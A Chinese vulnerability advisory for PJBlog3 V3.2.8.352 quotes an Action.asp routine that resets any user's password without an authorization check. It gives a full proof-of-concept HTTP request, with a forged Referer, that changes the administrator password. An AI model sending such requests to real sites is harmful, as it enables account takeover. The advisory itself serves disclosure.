发布日期：2011-06.19
发布作者：佚名
影响版本：PJBlog3 V3.2.8.352
漏洞类型：设计错误
漏洞描述：PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术
在文件Action.asp中：
ElseIf Request.QueryString("action") = "updatepassto" Then //第307行
If ChkPost() Then
Dim e_Pass, e_RePass, e_ID, e_Rs, e_hash, d_pass
e_ID = CheckStr(UnEscape(Request.QueryString("id")))
e_Pass = CheckStr(UnEscape(Request.QueryString("pass")))
e_RePass = CheckStr(UnEscape(Request.QueryString("repass")))
Set e_Rs = Server.CreateObject("Adodb.Recordset")
e_Rs.open "Select * From [blog_Member] Where [mem_ID]="&e_ID, Conn, 1, 3
e_hash = e_Rs("mem_salt")
d_pass = SHA1(e_Pass&e_hash)
e_Rs("mem_Password") = d_pass
e_Rs.update
e_Rs.Close
Set e_Rs = nothing
response.Write("1")
Else
response.write lang.Err.info(999)
End If
程序在修改用户的密码时，没有对用户的合法权限做验证，导致攻击者可以修改任意用户的密码。
应该先判断用户权限测试方法:
//需修改Referer值通过程序检测
GET /action.asp?action=updatepassto&id=1&pass=123456&repass=test HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://127.0.0.1/test.htm
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler 4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: 127.0.0.1
Connection: Keep-Alive
Cookie: PJBlog3Setting=ViewType=normal; PJBlog3=memRight=000000110000&memHashKey=&memName=&DisValidate=False&memLastpost=2009%2D11%2D08+11%3A18%3A27&exp=2010%2D11%2D8&Guest=%7Brecord%3Atrue%2Cusername%3A%27test%27%2Cuseremail%3A%27ww%40126%2Ecom%27%2Cuserwebsite%3A%27http%3A%2F%2Fwww%2Ebaidu%2Ecom%2Findex%3F%26lt%3Bfff%26gt%3B%27%7D; ASPSESSIONIDASDSSADD=DAMNKLBDKADFCKOGKEJOKJPP; ASPSESSIONIDCQCQTBCD=MOJFLCCDBICHALBBGGMMENML
（测试结果：成功修改管理密码）